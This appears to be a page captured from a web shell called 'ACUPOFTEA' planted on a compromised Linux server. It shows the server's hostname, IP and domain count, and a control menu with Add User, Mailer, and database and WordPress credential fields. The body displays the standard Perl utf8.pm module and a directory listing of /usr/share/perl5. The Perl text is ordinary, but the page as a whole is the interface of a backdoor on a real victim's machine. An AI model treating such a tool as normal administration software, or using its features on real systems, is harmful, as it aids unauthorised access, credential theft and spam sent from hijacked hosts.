System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
share
/
perl5
/
216.73.216.49
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
utf8.pm
package utf8; $utf8::hint_bits = 0x00800000; our $VERSION = '1.19'; sub import { $^H |= $utf8::hint_bits; } sub unimport { $^H &= ~$utf8::hint_bits; } sub AUTOLOAD { require "utf8_heavy.pl"; goto &$AUTOLOAD if defined &$AUTOLOAD; require Carp; Carp::croak("Undefined subroutine $AUTOLOAD called"); } 1; __END__ =head1 NAME utf8 - Perl pragma to enable/disable UTF-8 (or UTF-EBCDIC) in source code =head1 SYNOPSIS use utf8; no utf8; # Convert the internal representation of a Perl scalar to/from UTF-8. $num_octets = utf8::upgrade($string); $success = utf8::downgrade($string[, $fail_ok]); # Change each character of a Perl scalar to/from a series of # characters that represent the UTF-8 bytes of each original character. utf8::encode($string); # "\x{100}" becomes "\xc4\x80" utf8::decode($string); # "\xc4\x80" becomes "\x{100}" # Convert a code point from the platform native character set to # Unicode, and vice-versa. $unicode = utf8::native_to_unicode(ord('A')); # returns 65 on both # ASCII and EBCDIC # platforms $native = utf8::unicode_to_native(65); # returns 65 on ASCII # platforms; 193 on # EBCDIC $flag = utf8::is_utf8($string); # since Perl 5.8.1 $flag = utf8::valid($string); =head1 DESCRIPTION The C<use utf8> pragma tells the Perl parser to allow UTF-8 in the program text in the current lexical scope. The C<no utf8> pragma tells Perl to switch back to treating the source text as literal bytes in the current lexical scope. (On EBCDIC platforms, technically it is allowing UTF-EBCDIC, and not UTF-8, but this distinction is academic, so in this document the term UTF-8 is used to mean both). B<Do not use this pragma for anything else than telling Perl that your script is written in UTF-8.> The utility functions described below are directly usable without C<use utf8;>. Because it is not possible to reliably tell UTF-8 from native 8 bit encodings, you need either a Byte Order Mark at the beginning of your source code, or C<use utf8;>, to instruct perl. When UTF-8 becomes the standard source format, this pragma will effectively become a no-op. See also the effects of the C<-C> switch and its cousin, the C<PERL_UNICODE> environment variable, in L<perlrun>. Enabling the C<utf8> pragma has the following effect: =over 4 =item * Bytes in the source text that are not in the ASCII character set will be treated as being part of a literal UTF-8 sequence. This includes most literals such as identifier names, string constants, and constant regular expression patterns. =back Note that if you have non-ASCII, non-UTF-8 bytes in your script (for example embedded Latin-1 in your string literals), C<use utf8> will be unhappy. If you want to have such bytes under C<use utf8>, you can disable this pragma until the end the block (or file, if at top level) by C<no utf8;>. =head2 Utility functions The following functions are defined in the C<utf8::> package by the Perl core. You do not need to say C<use utf8> to use these and in fact you should not say that unless you really want to have UTF-8 source code. =over 4 =item * C<$num_octets = utf8::upgrade($string)> (Since Perl v5.8.0) Converts in-place the internal representation of the string from an octet sequence in the native encoding (Latin-1 or EBCDIC) to UTF-8. The logical character sequence itself is unchanged. If I<$string> is already stored as UTF-8, then this is a no-op. Returns the number of octets necessary to represent the string as UTF-8. Can be used to make sure that the UTF-8 flag is on, so that C<\w> or C<lc()> work as Unicode on strings containing non-ASCII characters whose code points are below 256. B<Note that this function does not handle arbitrary encodings>; use L<Encode> instead. =item * C<$success = utf8::downgrade($string[, $fail_ok])> (Since Perl v5.8.0) Converts in-place the internal representation of the string from UTF-8 to the equivalent octet sequence in the native encoding (Latin-1 or EBCDIC). The logical character sequence itself is unchanged. If I<$string> is already stored as native 8 bit, then this is a no-op. Can be used to make sure that the UTF-8 flag is off, e.g. when you want to make sure that the substr() or length() function works with the usually faster byte algorithm. Fails if the original UTF-8 sequence cannot be represented in the native 8 bit encoding. On failure dies or, if the value of I<$fail_ok> is true, returns false. Returns true on success. B<Note that this function does not handle arbitrary encodings>; use L<Encode> instead. =item * C<utf8::encode($string)> (Since Perl v5.8.0) Converts in-place the character sequence to the corresponding octet sequence in UTF-8. That is, every (possibly wide) character gets replaced with a sequence of one or more characters that represent the individual UTF-8 bytes of the character. The UTF8 flag is turned off. Returns nothing. my $a = "\x{100}"; # $a contains one character, with ord 0x100 utf8::encode($a); # $a contains two characters, with ords (on # ASCII platforms) 0xc4 and 0x80. On EBCDIC # 1047, this would instead be 0x8C and 0x41. B<Note that this function does not handle arbitrary encodings>; use L<Encode> instead. =item * C<$success = utf8::decode($string)> (Since Perl v5.8.0) Attempts to convert in-place the octet sequence encoded as UTF-8 to the corresponding character sequence. That is, it replaces each sequence of characters in the string whose ords represent a valid UTF-8 byte sequence, with the corresponding single character. The UTF-8 flag is turned on only if the source string contains multiple-byte UTF-8 characters. If I<$string> is invalid as UTF-8, returns false; otherwise returns true. my $a = "\xc4\x80"; # $a contains two characters, with ords # 0xc4 and 0x80 utf8::decode($a); # On ASCII platforms, $a contains one char, # with ord 0x100. Since these bytes aren't # legal UTF-EBCDIC, on EBCDIC platforms, $a is # unchanged and the function returns FALSE. B<Note that this function does not handle arbitrary encodings>; use L<Encode> instead. =item * C<$unicode = utf8::native_to_unicode($code_point)> (Since Perl v5.8.0) This takes an unsigned integer (which represents the ordinal number of a character (or a code point) on the platform the program is being run on) and returns its Unicode equivalent value. Since ASCII platforms natively use the Unicode code points, this function returns its input on them. On EBCDIC platforms it converts from EBCDIC to Unicode. A meaningless value will currently be returned if the input is not an unsigned integer. Since Perl v5.22.0, calls to this function are optimized out on ASCII platforms, so there is no performance hit in using it there. =item * C<$native = utf8::unicode_to_native($code_point)> (Since Perl v5.8.0) This is the inverse of C<utf8::native_to_unicode()>, converting the other direction. Again, on ASCII platforms, this returns its input, but on EBCDIC platforms it will find the native platform code point, given any Unicode one. A meaningless value will currently be returned if the input is not an unsigned integer. Since Perl v5.22.0, calls to this function are optimized out on ASCII platforms, so there is no performance hit in using it there. =item * C<$flag = utf8::is_utf8($string)> (Since Perl 5.8.1) Test whether I<$string> is marked internally as encoded in UTF-8. Functionally the same as C<Encode::is_utf8()>. =item * C<$flag = utf8::valid($string)> [INTERNAL] Test whether I<$string> is in a consistent state regarding UTF-8. Will return true if it is well-formed UTF-8 and has the UTF-8 flag on B<or> if I<$string> is held as bytes (both these states are 'consistent'). Main reason for this routine is to allow Perl's test suite to check that operations have left strings in a consistent state. You most probably want to use C<utf8::is_utf8()> instead. =back C<utf8::encode> is like C<utf8::upgrade>, but the UTF8 flag is cleared. See L<perlunicode>, and the C API functions C<L<sv_utf8_upgrade|perlapi/sv_utf8_upgrade>>, C<L<perlapi/sv_utf8_downgrade>>, C<L<perlapi/sv_utf8_encode>>, and C<L<perlapi/sv_utf8_decode>>, which are wrapped by the Perl functions C<utf8::upgrade>, C<utf8::downgrade>, C<utf8::encode> and C<utf8::decode>. Also, the functions C<utf8::is_utf8>, C<utf8::valid>, C<utf8::encode>, C<utf8::decode>, C<utf8::upgrade>, and C<utf8::downgrade> are actually internal, and thus always available, without a C<require utf8> statement. =head1 BUGS Some filesystems may not support UTF-8 file names, or they may be supported incompatibly with Perl. Therefore UTF-8 names that are visible to the filesystem, such as module names may not work. =head1 SEE ALSO L<perlunitut>, L<perluniintro>, L<perlrun>, L<bytes>, L<perlunicode> =cut
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
..
DIR
-
drwxr-xr-x
2025-10-16 10:59:21
Attribute
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
B
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
CPAN
DIR
-
drwxr-xr-x
2024-03-13 04:56:46
Class
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Compress
DIR
-
drwxr-xr-x
2024-03-13 04:36:57
Config
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
DBM_Filter
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Devel
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
ExtUtils
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
File
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Getopt
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
I18N
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
IO
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
IPC
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Locale
DIR
-
drwxr-xr-x
2025-07-28 08:08:32
Math
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Memoize
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Module
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Net
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Pod
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Search
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Term
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Text
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Thread
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Tie
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Time
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
URI
DIR
-
drwxr-xr-x
2024-03-13 04:36:40
Unicode
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
User
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
encoding
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
overload
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
pod
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
unicore
DIR
-
drwxr-xr-x
2025-07-29 10:57:24
vendor_perl
DIR
-
drwxr-xr-x
2025-07-28 08:07:18
warnings
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
AnyDBM_File.pm
text/plain
2.56 KB
-rw-r--r--
2025-07-28 08:07:09
AutoLoader.pm
text/plain
15.43 KB
-rw-r--r--
2025-07-28 08:07:09
AutoSplit.pm
text/plain
19.18 KB
-rw-r--r--
2025-07-28 08:07:09
Benchmark.pm
text/plain
30.3 KB
-rw-r--r--
2025-07-28 08:07:09
CORE.pod
text/plain
3.11 KB
-rw-r--r--
2025-07-28 08:07:09
DB.pm
text/plain
18.48 KB
-rw-r--r--
2025-07-28 08:07:09
DBM_Filter.pm
text/plain
14.05 KB
-rw-r--r--
2025-07-28 08:07:09
DirHandle.pm
text/plain
1.52 KB
-rw-r--r--
2025-07-28 08:07:09
Dumpvalue.pm
text/plain
17.14 KB
-rw-r--r--
2025-07-28 08:07:09
English.pm
text/plain
4.65 KB
-rw-r--r--
2025-07-28 08:07:09
FileCache.pm
text/plain
5.44 KB
-rw-r--r--
2025-07-28 08:07:09
FileHandle.pm
text/plain
6.63 KB
-rw-r--r--
2025-07-28 08:07:09
FindBin.pm
text/plain
4.45 KB
-rw-r--r--
2025-07-28 08:07:09
Internals.pod
text/plain
2.52 KB
-rw-r--r--
2025-07-28 08:07:09
Memoize.pm
text/plain
35.34 KB
-rw-r--r--
2025-07-28 08:08:32
NEXT.pm
text/plain
18.4 KB
-rw-r--r--
2025-07-28 08:07:09
PerlIO.pm
text/plain
10.21 KB
-rw-r--r--
2025-07-28 08:07:09
Safe.pm
text/plain
24.49 KB
-rw-r--r--
2025-07-28 08:07:09
SelectSaver.pm
text/plain
1.05 KB
-rw-r--r--
2025-07-28 08:07:09
SelfLoader.pm
text/plain
17.28 KB
-rw-r--r--
2025-07-28 08:08:32
Symbol.pm
text/plain
4.69 KB
-rw-r--r--
2025-07-28 08:07:09
Test.pm
text/plain
29.35 KB
-rw-r--r--
2025-07-28 08:08:32
Thread.pm
text/plain
8.09 KB
-rw-r--r--
2025-07-28 08:07:09
UNIVERSAL.pm
text/plain
6.44 KB
-rw-r--r--
2025-07-28 08:07:09
URI.pm
text/plain
33.97 KB
-rw-r--r--
2018-01-09 06:42:55
XSLoader.pm
text/plain
11 KB
-rw-r--r--
2025-07-28 08:07:09
_charnames.pm
text/plain
32.39 KB
-rw-r--r--
2025-07-28 08:07:09
autouse.pm
text/plain
4.14 KB
-rw-r--r--
2025-07-28 08:07:09
base.pm
text/plain
10.72 KB
-rw-r--r--
2025-07-28 08:07:09
blib.pm
text/plain
2.04 KB
-rw-r--r--
2025-07-28 08:07:09
bytes.pm
text/plain
3.67 KB
-rw-r--r--
2025-07-28 08:07:09
bytes_heavy.pl
text/plain
758 B
-rw-r--r--
2025-07-28 08:07:09
charnames.pm
text/plain
20.38 KB
-rw-r--r--
2025-07-28 08:07:09
deprecate.pm
text/plain
3.01 KB
-rw-r--r--
2025-07-28 08:07:09
diagnostics.pm
text/plain
18.59 KB
-rw-r--r--
2025-07-28 08:07:09
dumpvar.pl
text/plain
15.19 KB
-rw-r--r--
2025-07-28 08:07:09
feature.pm
text/plain
16.68 KB
-rw-r--r--
2025-07-28 08:07:09
fields.pm
text/plain
9.27 KB
-rw-r--r--
2025-07-28 08:07:09
filetest.pm
text/plain
3.91 KB
-rw-r--r--
2025-07-28 08:07:09
if.pm
text/plain
3.26 KB
-rw-r--r--
2025-07-28 08:07:09
integer.pm
text/plain
3.18 KB
-rw-r--r--
2025-07-28 08:07:09
less.pm
text/plain
3.13 KB
-rw-r--r--
2025-07-28 08:07:09
locale.pm
text/plain
4.74 KB
-rw-r--r--
2025-07-28 08:07:09
meta_notation.pm
text/plain
2.07 KB
-rw-r--r--
2025-07-28 08:07:09
open.pm
text/plain
7.83 KB
-rw-r--r--
2025-07-28 08:08:32
overload.pm
text/plain
52.06 KB
-rw-r--r--
2025-07-28 08:07:09
overloading.pm
text/plain
1.77 KB
-rw-r--r--
2025-07-28 08:07:09
perl5db.pl
text/plain
309 KB
-rw-r--r--
2025-07-28 08:07:09
sigtrap.pm
text/plain
7.43 KB
-rw-r--r--
2025-07-28 08:07:09
sort.pm
text/plain
5.94 KB
-rw-r--r--
2025-07-28 08:07:09
strict.pm
text/plain
4.63 KB
-rw-r--r--
2025-07-28 08:07:09
subs.pm
text/plain
848 B
-rw-r--r--
2025-07-28 08:07:09
utf8.pm
text/plain
8.9 KB
-rw-r--r--
2025-07-28 08:07:09
utf8_heavy.pl
text/plain
30.87 KB
-rw-r--r--
2025-07-28 08:07:09
vars.pm
text/plain
2.36 KB
-rw-r--r--
2025-07-28 08:07:09
vmsish.pm
text/plain
4.21 KB
-rw-r--r--
2025-07-28 08:07:09
warnings.pm
text/plain
43.71 KB
-rw-r--r--
2025-07-28 08:07:09
~ ACUPOFTEA - mail.ontime-ae.com